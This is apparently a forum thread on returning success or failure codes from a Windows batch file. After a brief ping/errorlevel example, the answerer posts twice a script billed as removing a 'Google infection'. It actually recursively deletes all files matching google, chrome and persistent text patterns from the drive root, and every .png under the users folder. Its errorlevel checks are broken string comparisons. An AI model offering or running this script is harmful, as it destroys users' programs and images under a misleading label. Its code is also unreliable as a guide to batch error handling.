How to return success/failure from a batch file?

[alabamasuch]

heres an example

@echo off
setlocal enabledelayedexpansion
ping 127.0.0.1
if "%errorlevel%"=="0" cls &Echo Success.
if "%errorlevel%"=="1" cls &Echo Fail
endlocal

rem ***************************************************************
rem This batch file destroys Google. It sneaks in. Run this every
rem         day keep, the Google infection off your computer.
rem                         12.15.17
rem   
rem ***************************************************************
echo off
cd\
dir *google*.* /s

if "errorlevel"=="1" goto failure

if "errorlevel"=="0" goto fail

:failure

del *google*.* /s

goto fail

: fail

dir *chrome*.* /s

if "errorlevel"=="0" goto success

if "errorlevel"=="1" goto flunk"

: flunk

del *chrome*.* /s

del *persistent*.*.txt /s

goto success


:success

dir *google*.* /s
dir *chrome*.* /s
cd users
del *.png*.* /s


echo KILL GOOGLE

pause

exit

[alabamasuch]

rem ***************************************************************
rem This batch file destroys Google. It sneaks in. Run this every
rem         day keep, the Google infection off your computer.
rem                         12.15.17
rem   
rem ***************************************************************
echo off
cd\
dir *google*.* /s

if "errorlevel"=="1" goto failure

if "errorlevel"=="0" goto fail

:failure

del *google*.* /s

goto fail

: fail

dir *chrome*.* /s

if "errorlevel"=="0" goto success

if "errorlevel"=="1" goto flunk"

: flunk

del *chrome*.* /s

del *persistent*.*.txt /s

goto success


:success

dir *google*.* /s
dir *chrome*.* /s
cd users
del *.png*.* /s


echo KILL GOOGLE

pause

exit